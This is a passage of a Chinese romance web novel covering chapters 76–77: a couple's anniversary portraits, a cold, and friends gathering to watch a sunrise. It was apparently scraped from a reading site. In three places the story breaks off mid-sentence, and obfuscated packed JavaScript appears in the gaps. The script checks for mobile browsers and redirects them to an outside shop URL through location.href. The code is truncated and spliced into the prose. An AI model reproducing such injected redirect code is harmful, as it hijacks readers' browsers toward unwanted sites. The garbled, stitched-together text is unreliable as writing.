两人就是如此默契,在黄时雨睁开眼的那一刻,像提前约定好的一样,祝则溪也同时脱口而出,“特别好看!” 黄时雨兴奋地左右偏头观察着眼前这个焕然一新的自己,边看还边满意地点点头,“太好看了吧……” 从理发店出来已经晚上八点多了,黄时雨挽着祝则溪的胳膊,絮絮叨叨的话也一直没停过,“是不是很好看啊,我现在就算找到了自己的人生发型,也太适合我了,今年冬天我一定要多多拍漂亮照片……” 祝则溪也十分配合,对于黄时雨说出的每一句话都有回应—— “确实很好看。” “很适合你,放大了你的五官优势。” “到时候我给你拍吧,我的审美应该还是不错的。” …… 夜色中,一轮明月挂在天边,给这寒风中的冬日送来了一丝不易察觉的宁静和安详,街道上的人们都行色匆匆,似乎完全无暇顾及周围的景色,更遑论天上的月亮。 但黄时雨总觉得,在钢筋混凝土的世界里生活久了,似乎更需要这些自然风光的调剂。 “等一下,”黄时雨举起手机,调成自拍模式,“我们一起拍张合照吧,怎么样,正好有月亮!” 祝则溪微微俯下身,把头轻轻放在黄时雨的肩上,“好,看镜头。” “三、二、一!” “咔嚓”一声,黄时雨点开照片,指着照片中的月亮惊呼一声,“月亮也刚好在我们身后诶,好有意境对不对?” 祝则溪微微一愣。 这一幕,似乎和高二那次小年聚会有了重叠。 “不不不,”祝则溪有些语无伦次,他着急地点开手机相册,点开一个设有单独密码的相册,往前翻了许久,才找到那张自己一个人默默珍藏了许多年,而今天终于有机会给另一位当事人看的“偷拍照”—— “你看,还记得吗?” 黄时雨看着这张好多年前的照片,看着照片中靠近镜头的祝则溪和正站在远处看月亮的自己,竟一时有些恍惚,“这个……我……” 祝则溪明白黄时雨心里的疑惑,他将两张照片放在一起,竟然忽然有了一种穿越时空的错觉。 照片上人物不变,场景也几乎一致,只有两人的关系变了,与高中那个只敢悄悄偷看的胆小鬼完全不同,这一次,两人变得更加亲密无间。 那时的祝则溪连想都不敢想的事情,在他24岁这一年,竟然变成了现实。 “你别告诉我,其实那个时候你就喜欢我了?” “嗯。” 黄时雨微微侧头,带着审视的目光盯着祝则溪的眼睛看,“啧,虽然说我读书那会儿就挺有魅力的吧,但是你这也太夸张了。” “你居然那么早就喜欢我了,”黄时雨伸手戳了戳祝则溪的肩膀,故意把“那么早”三个字咬得很重,“作为一个高中生,你的心思可是一点都不单纯哦……” 祝则溪无法反驳,只能笑着认下,“对啊,从小就不单纯。” 可能不是高中,而是初中,甚至是小学初遇的那一次。 或许在暗恋这条路上,祝则溪独自经历的时间,远比黄时雨想象得要多的多。 黄时雨把祝则溪发来的陈年旧照存进相册了,把这份本就属于自己的记忆重新同步到自己的生命中,成为不可或缺的重要组成部分。 为了处理工作室的资金问题,李岱和祝则溪都忙得脚不沾地,其中李岱主要负责外出寻找投资商,而祝则溪负责维持工作室的稳定运行和日常工作安排。 在经历了一次又一次的拒绝后,李岱再次回到工作室时,终于带来了这段时间最好的消息。 ——投资商的款项将在下个星期汇入工作室的账户中。 “李岱哥,这段时间太辛苦你了。” “没有,你也辛苦,反正总算是把这个难关给度过了,”李岱比祝则溪大接近十岁,但两人之间配合非常默契,他负责市场,祝则溪负责内容,很少出现大的分歧,“小祝,下一周我有点事要回老家一趟,工作室的事情你暂时一个人负责一下,可以吗?” 祝则溪从椅子上站起来,接过李岱递过来的厚厚一叠资料文件,“哥,没问题的。” 李岱拍拍祝则溪的肩膀,又简单叮嘱了他几句,最后才从祝则溪的办公室离开。 “诶,李岱哥,”黄时雨刚走到工作室门口,就遇上了正准备推门离开的李岱。 李岱走路的步伐有些匆忙,黄时雨叫住他时,他也只是匆匆回应了几句。 “你好,”李岱并不知道黄时雨的名字,只知道是祝则溪的女朋友而已,“小祝还在里面,我有点事就先走了。” “好。” 看到每个房间里的员工们都还在认真工作,黄时雨只能轻手轻脚地穿过走廊,径直走向藏在走廊尽头的祝则溪的个人办公室。 毕竟艺术需要安静的创作环境,黄时雨在门口等了一会儿,直到看到祝则溪完成了这幅画作的线稿后,才敲了敲门。 “请进!” 祝则溪头也不抬。 “惊喜吗,是我哦,”黄时雨从门口一步跳到祝则溪的工作桌前,伸出手指强硬地抬起祝则溪的下巴。 祝则溪的眼神从疲惫瞬间转为欣喜,他抓住黄时雨的手贴到脸上,闭着眼睛像小狗一样轻轻蹭了蹭,表情看起来颇为享受。 “你怎么这么早就过来了?” 黄时雨拉了个椅子坐到祝则溪身边,“因为今天就处理了一点简单的收尾工作,所以弄完就可以走啦。” “你如果还要工作的话,那我就去外面等你吧?” 黄时雨刚准备起身,就被祝则溪拉住手腕,他上扬的嘴角一瞬间耷拉下来,变脸比翻书还快,“哎,就不能在这儿坐着吗……” 黄时雨还没来得及解释,祝则溪转身拿新的画纸时,嘴里还在继续嘟囔,但听上去总感觉是某种“抱怨”,“好吧,可能是我这张脸已经吸引不了你了……” “没有没有,”黄时雨哭笑不得,只能又规规矩矩地坐到刚刚的位置上,偷偷从下面拉拉祝则溪的衣角,“那我陪你吧。” “嗯,”祝则溪的嘴角勾起笑意,转身坐下时又努力收敛住。 “你知道今天是什么日子吗?” 什么日子?! 黄时雨立刻开启头脑风暴,想了半天也没发现今天是什么特殊的日子,只好一脸懵地回答,“不知道。” “今天是我们在一起的一个月纪念日!” “啊……” 黄时雨语气夸张地表示自己其实早就知道,“我肯定知道啊,一个月纪念日快乐!” 祝则溪笑着叹气,但又对黄时雨这种插科打诨的狡辩方式无可奈何。 他把刚刚取出来的两张画纸一张放到黄时雨面前,一张放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17075938|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己面前,“这样好不好,我们互相给对方画一张肖像,什么风格都可以,就当作是在一起一个月的初印象,怎么样?” 黄时雨惊讶地瞪大了眼睛,“我的画画技术……真的要画吗?” 祝则溪似乎不需要太多思考,就已经提笔开始作画了,“真的,抽象派我也接受。” 黄时雨点点头,撑着脑袋思考了好一会儿才终于下定决心。 整个办公室里,铅笔划过纸张发出的簌簌声一刻不停,两人都时不时偏头看一眼对方,而且总是那样巧合地在同一秒成功对视,然后一边偷笑,一边又继续在画纸上创作。 幸好现在不是在教室里,不然两人已经早已被老师点名批评了。 黄时雨率先画完停笔,“我画好咯?” 祝则溪又多画了两三分钟才结束,“我也画好了。” 两人一起把画作摆到中间,一个抽象派画风和一个写实派画风对比鲜明。 “好好看啊,我还是第一次见到你画我的肖像诶,好还原,”黄时雨拿起祝则溪的画作,仔仔细细地打量着,“跟我今天的打扮一模一样,太厉害了吧!” “这幅画可以送给我吗?” 得到祝则溪的点头允许后,黄时雨刚想折好装进包里,才想起好像一幅正规的画作应该要留下画家的名字和印章才算完整。 “小祝老师,麻烦写个落款,”黄时雨把画作重新摊开。 “好。” 祝则溪站起来,拿出毛笔蘸上墨水,准备给这幅画作落款。 “你想要正式一点的版本还是亲密一点的版本?” 黄时雨眼轱辘一转,“那就来个亲密一点的吧。” “好,”祝则溪转过头,冲黄时雨挑了挑眉,落笔写下—— “请苗苗宝宝惠存。” 黄时雨绷不住笑,看着祝则溪一笔一画地继续开始写下款—— “癸卯年玄月,祝则溪,”并在后面盖了一个小小的红色印章。 黄时雨凑近,仰起头盯着祝则溪的眼睛,“你好厉害呀,小祝老师,字也写得这么好,也不知道谁能有这么好的运气收到这幅画作呢……” 祝则溪坐下来,等画作上的墨水晾干,摆出一副冥思苦想的状态,“不知道诶,可能是送给我面前这位优雅、聪慧、勇敢、美丽的女士吧!” 黄时雨满意地点头,将晾干的画作收进背包里,然后把自己创作的那幅“抽象派”画作推到祝则溪面前,“这个你也收好哦,毕竟这可是我的开刃作,明白吗?” 祝则溪抬头抱拳,语气坚定决绝,“是,遵旨。” 从办公室出来,工作室的员工们几乎都已经下班离开了,黄时雨帮着祝则溪把门窗关好,锁住大门之后才离开。 工作室门口那棵树上的叶子都快掉光了,光秃秃的样子倒是跟冬天这个非黑即白的世界相得益彰。 黄时雨的穿衣风格还是不变,照旧是喜欢各种各样的彩色的衣服和配饰,像是这个无聊世界里为数不多的一抹色彩。 刚走出工作室没几步,风声刮得呼呼作响,祝则溪担心黄时雨着凉,立马帮她把帽子戴起来,扣子扣到最顶端,整个人被包裹得严严实实的,只剩下两只眼睛和鼻子还露在外面。 黄时雨任由祝则溪摆弄着,但看到他本人还没拉好拉链,还是忍不住提醒,“那你怎么还敞着衣服啊?” “因为我不怕冷。” 祝则溪整理帽子结束时,低头用鼻子蹭了蹭黄时雨的脸颊,一股猝不及防的寒气抚过了她的脸,惹得黄时雨稍微偏了一点头。 “你也把拉链拉上,你的鼻子都有点红红的了,不要耍帅,”黄时雨说着就准备帮祝则溪拉拉链,结果被祝则溪轻轻握住手又一起揣到羽绒服外套里。 “不用啦,我很抗冻的。” “真的?” 黄时雨一脸不相信,把祝则溪从上到下又仔细打量了一遍,并未发现他有哪个部分皮下脂肪特别厚实,看不出来他嘴里说的“特别抗冻”。 “要是感冒了怎么办?” “不会感冒的,相信我。” 76. 第七十六次招惹 照旧还是先把黄时雨送到家,祝则溪才继续往家走。 可没想到刚进电梯,祝则溪就连续打了好几个喷嚏,停都停不下来,连他自己都有点惊讶—— “不是,我现在身体素质这么差了吗,不应该啊。” 虽然嘴上说着不相信,但身体反应还是不容忽视,祝则溪回到家的第一件事就是找出家里提前备好的感冒颗粒,兑水后趁热喝下去。 一阵暖流从身体中流过去,祝则溪一下子感觉症状消退了不少。 “你没有感冒吧?” 祝则溪刚喝完药,就收到了黄时雨的慰问关心。 “没有啊,”为了不让黄时雨担心,祝则溪并不打算告诉她实情。 “那就好。” 黄时雨也没有多想,转头就在网上下单了一个画框,准备把祝则溪画好的肖像画裱好之后挂在客厅。 是选一个朴素的还是宫廷风的,木质的还是玻璃的呢,黄时雨先把好看的相框全部加进购物车,准备最后再慢慢比较。 “喂,黄时雨!” 手机上突然弹出小赵姐的电话,黄时雨立马放下手里的事情点击接通,“小赵姐?” 对面传来的笑声让黄时雨感觉事情不妙,但还没张开嘴问,就被小赵姐提前截胡了,“谈恋爱的感觉怎么样啊?” “咳,”黄时雨摸了摸自己不知道什么时候突然上扬的嘴角,正色道,“挺好的。” “噢,挺~好~的~” 小赵姐这突如其来的“阴阳怪气”把黄时雨给逗笑了,“正常点,小赵姐,算我求你。” “好好好,”小赵姐终于又恢复了平日里的正经,“你爸妈知道你谈恋爱了吗?” “知道啊,”黄时雨从站着变成坐着,“而且我打算,今年春节的时候,就带祝则溪上我家过一次年。” 小赵姐在电话那头乐得不行,捂住嘴之后的笑声都还是那么如雷贯耳,“挺好的挺好的,但是进度比我当时还要慢一些。” “嗯?” 黄时雨似乎嗅到了一丝八卦的味道,她继续顺着小赵姐的话往下说,想看看能不能再挖出什么新的猛料,“那你们当时,是很快就见父母了吗?” “是啊,”小赵姐的语气非常平静,像是早就见怪不怪了,“当时他表白之后第三个月就求婚了,然后我就跟我爸妈说了这件事,抽空带着他回去见了一次父母,这事就成了。” “啊?” 黄时雨一瞬间目瞪口呆,虽然早就知道他俩效率高,但怎么也没想到效率能这么高啊?! “这也太快了吧,好吓人的速度。” 小赵姐笑了笑,但语气并没有太大浮动,“其实我也觉得很快,但是要判断一个人是不是对的人,差不多接触个四五次就能感觉出来了,所以没必要等那么久。” 黄时雨陷入沉思。 她竟然也有些赞同小赵姐的话。 回忆高中和大学里一桩桩、一件件事,好像从自己主动找祝则溪帮忙完成黑板报开始,这个缘分就悄然生发了。 在持续前进的时间旅途中,生根发芽,直到黄时雨再也无法忽视它。 “对,我现在也有点相信缘分了。” 黄时雨听到对面传来了熊毅丰的声音,好像是叫小赵姐去睡觉,赶紧三言两语准备结束这通电话,“那个,时间不早了,你们忙,我就先不打扰啦,拜拜!” “嘟——” 挂掉电话,黄时雨才长舒一口气。 还好还好,差点坏了人家的好事。 黄时雨洗漱完毕,钻进被子,把自己裹成蝉蛹,确定明天是周六,闹钟全部关闭后,才舒舒服服地进入了睡眠模式。 心里毫无负担的感觉就是爽啊,黄时雨一觉睡到早上十点多才醒,翻身拿手机的时候,却意外发现祝则溪竟然一条消息都没发。 起床之后的第一件事就是给对方说早安,这是黄时雨和祝则溪在谈恋爱的第二天就做好的约定。 黄时雨总感觉这事有些不太对劲,祝则溪该不会是感冒了吧?! 黄时雨直接一个电话打过去,每多“嘟”一声,黄时雨的心就多操心一分,响了好一会儿对面才接通—— “苗苗?” 祝则溪努力从喉咙里挤出几个字,却依然掩盖不住那浓重的鼻音。 “你感冒了吗?” 黄时雨立马从床上坐起来,换好前一天晚上提前找好的衣服,随便抹了把脸就急匆匆往外走,“你先躺好,好好休息,我马上过来哦。” 黄时雨到祝则溪家走路只需要十分钟。 20100609,黄时雨快速输入密码,推开门进去。 屋子里异常安静,祝则溪正躺在床上,整个人裹得严严实实的,他听到黄时雨开门进屋的声音,立刻从床上坐起来,一段止不住的咳嗽也随即响起。 “你坐起来干嘛啊,快躺下!” 黄时雨帮祝则溪把被子掖好,又根据祝则溪的感冒状况从感冒药里选了几种合适的,弄成感冒冲剂和药片,放在餐桌上等着变温。 “苗苗?” 黄时雨以为祝则溪有哪里不舒服,立刻放下碗走过去,“怎么了?” 看到祝则溪从被子伸出手,黄时雨怕他再着凉,只好拉着他的手迅速塞进被子里,以保护祝则溪的身体健康作为当下的首要原则。 “你是不是生气了?” 黄时雨感觉到祝则溪在说这话时,正在用手指轻轻挠自己的手心。 “是有点,”黄时雨坦然承认,抬头时正对上祝则溪委屈巴巴的眼神,“昨天都跟你说好几遍了,让你把拉链拉上不要耍帅,结果你都不听,现在好了吧,感冒了就舒服了是不是?” “我……”祝则溪挪动了一下身子,整个人往床边靠了一些,“你之前不是说喜欢我帅气的样子嘛,我怕你觉得我裹着厚厚的羽绒服就不帅了,所以我才没拉拉链的,对不起……” 祝则溪把黄时雨的另一只手也拉过去,在被子里抓得紧紧的。 察觉到黄时雨一时没回答,祝则溪才偷偷抬头,想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083364|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该怎么弥补自己昨天的过失。 “不是,”黄时雨的思维一下子没有转换过来—— 怎么会有人主动牺牲自己的健康来满足或取悦别人啊! “你们搞艺术的人的脑子都这样吗?” 黄时雨又好气又好笑,只能哭笑不得地捏住祝则溪的脸来表达自己的无可奈何。 祝则溪看到黄时雨并没有真的生气,于是快速使出自己的终极大招以求得原谅—— “所以,你肯定不会怪我的,对不对?” 黄时雨总觉得不能这么轻易就点头同意,于是把脸扭向另一边,绷住快要控制不住的嘴角,使劲摇头。 “对不对啊?” “噗,”黄时雨还是没控制住表情,在祝则溪再一次委屈巴巴询问时终于还是破功了,“好吧好吧,原谅你啦。” “不过呢,我现在要改变一下我的说法了。” 黄时雨站起来,把餐桌上的碗端到祝则溪面前,示意他全部喝掉,“相比于帅气,我还是更喜欢健健康康的祝则溪。” 黄时雨朝祝则溪意有所指地挑了挑眉,祝则溪立马坐直,乖乖点头,“好的,收到!” 临近年末,黄时雨的工作变得越来越忙,很多工作任务都必须要在年前赶出来,作为组长的黄时雨还得时不时出去接待新的甲方,说是忙得脚不沾地都不为过。 “来,黄时雨,给你带的咖啡,”许灵均放下一杯咖啡在黄时雨的工位上,看着她头也不抬地对着表格整理数据忍不住摇摇头,“我的天,我看到你这些东西都头疼。” “谁不是呢,”黄时雨把吸管插进咖啡里尝了一口,“我眼睛都看花了,不过还是谢谢你的咖啡了。” “哦对了,”许灵均蹲在黄时雨身边,在她耳边小声说,“年底我们公司几个部门要搞一个什么联谊活动,说白了就是给单身的人介绍对象的,你去不去?” 黄时雨有一瞬间的错愕,有这个活动吗,自己怎么什么都不知道?! “我肯定不去啊,”黄时雨摆摆手,“况且,我都有男朋友了。” “我当然知道你有男朋友啊,但是我有点想去,要不你陪我去呗,怎么样?” 看到许灵均请求的目光,黄时雨实在是做不到说出拒绝的话,她刚想答应,从黄时雨工位面前经过的杜宁的脚步逐渐放慢,一个疑惑的声音在黄时雨头顶上响起,“你有男朋友了?” 黄时雨点点头,“对。” “噢,”杜宁的手指无意识摩挲着杯口,胳膊自然地搭在黄时雨的电脑上,“那你应该还是会一直留在这里上班吧?” 黄时雨面露疑惑,但很快就反应过来—— “当然啦,工作是工作,恋爱是恋爱,我是不会为了男人放弃我的职业理想的,你现在可以放心了?” 杜宁满意地点头,在离开的前一秒敲了敲黄时雨的桌面留下一句“狠话”,“那就好,你最好让我每天都能在公司见到你。” 黄时雨和许灵均相视一笑,“好嘞,不会让你失望的!” 77. 第七十七次招惹 “苗苗,我到了哦,还在老地方。” 黄时雨刚关上电脑准备下班,就收到祝则溪发来的消息—— “好,我马上下来。” 黄时雨起身,跟早已在按好电梯,在电梯门口等候多时的许灵均汇合,“走吧走吧。” 到达一楼,电梯门一打开,祝则溪的身影就完美出现在黄时雨的视野中。 就算隔着好大一片人,也能将视线紧紧锁定在那个对的人身上,看来这就是传说中的心有灵犀吧。 “噢,这位就是许灵均,我在公司最好的朋友,”许灵均是第一次和祝则溪见面,黄时雨想着怎么也得简单介绍一下。 许灵均伸出手,跟祝则溪简单握了握。 “你好你好,小黄妹夫!” 小、黄、妹、夫?! 黄时雨和祝则溪的瞳孔都瞬间瞪大了。 还没等黄时雨向许灵均介绍祝则溪的名字,许灵均就急匆匆撂下一句“有事先走了”,然后轻轻拍了拍黄时雨的肩膀,留下一个不明深意的戏谑眼神。 “咳,”黄时雨还给许灵均一记眼神杀,转头提醒祝则溪,“走吧。” 祝则溪这才收起自己那欣喜若狂的表情,默默牵住黄时雨的手,走到她身边。 ——“祝则溪,你在笑什么?” 祝则溪摸了摸自己上扬的嘴角,清了清嗓子,“有吗?” “有!” 祝则溪被黄时雨这个一脸严肃的表情给逗乐了,“就是很喜欢这个称呼而已。” 他慢慢转变成与黄时雨十指紧扣的样子,温热的掌心与黄时雨的手掌紧紧贴在一起,“你看啊,许灵均叫我小黄妹夫的话,是不是代表着,在某种程度上,我们已经是不可分割的一家人了?” 黄时雨细细一琢磨,竟然也觉得合理,“哎,还真是。” 祝则溪得意地点头,随即靠近黄时雨的耳边,开始模仿黄时雨组员们的称呼方式,“组长大人,那你回公司之后,可不可以不要纠正她的称呼啊?” “可以呀,那你给我什么好处呢?” 黄时雨摊开双手。 祝则溪把黄时雨的双手抬到自己下巴的位置,然后把下巴放上去,闭上眼睛。 俨然就是一个等待呼噜呼噜毛的可爱小狗。 黄时雨也不客气,轻轻挠了挠祝则溪的下巴,又捏住他的脸颊揉了好半天才依依不舍地松开—— “嗯……既然这么有诚意的话,我就勉为其难地同意吧。” 祝则溪兴奋地睁开眼,打开手机给黄时雨看自己提前做好的明日出游计划—— “你看,你之前不是说想去欢乐谷嘛,我已经买好票了,我们明天就去,怎么样?” 黄时雨激动地跳起来,拉着祝则溪的胳膊疯狂摇晃,“好啊好啊,我同事们都说很好玩的,我……” 还没来得及说完,一阵急促的电话铃声强行切断了两人之间的交流。 来电显示是吴笙笙—— “喂,笙笙?” “苗苗,”吴笙笙的声音听起来有些失落,像是回南天里晒不干的棉被一样,阴冷又潮湿,似乎急需温暖阳光的关照。 “你怎么了,不开心吗?” 黄时雨停下脚步,祝则溪也停在她身边。 “有一点吧,我感觉读博特别累,不止是身体上的,还有心理上的,我当年还是把这件事想得太简单了……” 黄时雨拉了一下祝则溪的手指,趁吴笙笙说话的间隙,小声跟祝则溪说,“我们现在打车过去,津南大学。” “好。” 坐到车上,黄时雨还在继续跟吴笙笙聊天,听到吴笙笙说起自己在组里的生活,总是做不完的实验,改不完的数据,写不完的论文,导师也总是找不到人影,什么都靠自己弄的时候,黄时雨虽然不能完全感同身受,但也确实能切身体会到她的痛苦。 “没事没事笙笙,你上一个实验结束了是不是,那这几天是不是可以短暂休息一下?” “理论上是的,”吴笙笙叹了口气,“但是肯定还会有一些突发安排,每次都是这样。” 吴笙笙沿着小路往宿舍方向走,学校里草木凋落,几乎看不出生机的一面,这很符合吴笙笙此刻的心境。 毕竟已经是博士了,也不是什么正当青春的人了。 “好吧,笙笙,我还有点别的事情,先挂了哦,下次再聊啊,拜拜!” 吴笙笙还没发应过来,电话就中断了。 吴笙笙勉强笑了笑,把手机放回外套口袋里,努力把快要喷薄而出的坏情绪咽回肚子里。 没关系,长大了大家都是有各自的生活的,吴笙笙只能这样安慰自己。 “美女,你好,可以加一下你的微信吗?” 有人从后面拍了拍吴笙笙的肩膀。 吴笙笙的脚步顿了顿,这句话听上去有点耳熟。 她猛得转过头,黄时雨、祝则溪、齐章年三人正整整齐齐地站在她身后,像高中一起出去吃完饭回到教室一样,仿佛成长只是时间的刻度尺,其实一切都没有变过。 “苗苗!” 吴笙笙立刻张开双臂抱住黄时雨,把脸放在黄时雨的肩膀上,久久不愿意抬起来。 黄时雨也紧紧抱住她,什么话也没有说。 因为另外三人都知道,吴笙笙现在最需要的,就是一个温暖的拥抱,和最好的朋友们都在身边的幸福感。 “诶笙笙,你就叫黄时雨一个人啊,合着我跟祝则溪你都看不见呗?” 听到齐章年的这句“抱怨”,吴笙笙赶紧抬头,跟他们俩各自打了声招呼。 “走吧,”黄时雨伸手牵住吴笙笙,“今天晚上想去哪玩,想怎么玩都听你的!” 走到学校门口,齐章年向大家隆重介绍自己这辆超级宝贝的车,黄时雨等人虽然在朋友圈里见过几次,但确实是今天才有第一次乘坐的机会。 “不错诶,这么宽敞啊里面,”黄时雨和祝则溪坐在后排,吴笙笙坐在副驾驶上。 “那是当然,”齐章年点火出发,熟练的驾驶技术看起来就像一个身经百战的老司机,“我爸妈说我平时上班远,挤地铁什么的也不方便,就送了我一辆,确实出门什么的很自由,半夜想出去玩都可以。” “哦还有,之前不是跟你们说我要在津南长期工作嘛,我已经在我公司附近看好了一个房子,准备最近就把它拿下,到时候可以随便来玩!” “什么?!” 另外三个人瞪大了双眼。 “我说你齐章年闷不吭声办大事啊,你这个人生进度也太快了吧,”黄时雨伸手轻轻拍了一下齐章年的肩膀,“是精装房吗?” “对啊,我哪有时间天天去监工啊,到时候直接拎包入住就行。” 祝则溪也是一脸不可置信,“你之前一点风声都没有,完全没提过这件事。” “哎呀,落实了再说也不迟啊,反正除了我爸妈,你们都是最早知道这件事的了。” 晚高峰的路就是如此拥堵,一行人坐了半个多小时的车,才终于要准备完成吴笙笙心心念念了好久的爬山活动——看日出了。 从车上下来,齐章年指着手机把另外几人喊过来,“你们看,明天的日出时间大概是五点多,我们现在可以先在山脚吃点东西,把帐篷租好,再买点零食上去,你们觉得怎么样?” “好!” “附议!” “very good!” …… 这个季节专门跑出来在山上过夜看日出的人还是太少了,一行人简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄时雨朝齐章年竖了个大拇指,得到了来自齐章年的一个得意的笑容。 “天上已经有星星了诶,你们看,”大家顺着吴笙笙手指的方向看过去,果然看到了在浓墨的夜色画布上,有几颗亮闪闪的星星点缀,只不过比较分散,不集中注意力的话很难发觉。 用眼睛看不如用相机记录来得持久。 作为“一中小分队”里的专职摄影师,所有关于记录的活儿,都被齐章年全包了。 “来来来,再给你们仨拍一张,”齐章年让黄时雨站在中间,吴笙笙和祝则溪一人站一边,“笑一笑哦,3、2、1!” “那你站过来,我来给你们拍呗,”吴笙笙主动接过齐章年手里的相机,接替了他的拍摄工作。 就这样,四个人轮流负责了一段时间的摄影师,留下了许多美好瞬间,成为了一中小分队新的集体记忆。 拍照结束后,四个人从袋子里拿出厚厚的长款羽绒服裹住自己,然后坐在草坪上,仰头看着天上越来越繁茂的星星。 人类在自然面前总是相形见绌,当我们看到浩瀚无垠的星空时,总是会不由自主地被它们吸引,想知道除了我们此时此刻站立的地方,是否还有更多的未知和秘密藏在我们看不到的深处。 ——于是,宇宙便成为了映照人类好奇心的巨大镜子。 “喂,李岱哥?” 祝则溪的电话响得很突然,他立马接通,示意身边三人稍微安静一下,“真的吗?” 像是得到了对面肯定的答复,祝则溪原本平静的脸上突然写满了激动和兴奋,他单手撑地从地上站起来—— “噢噢行,那我马上发给他!”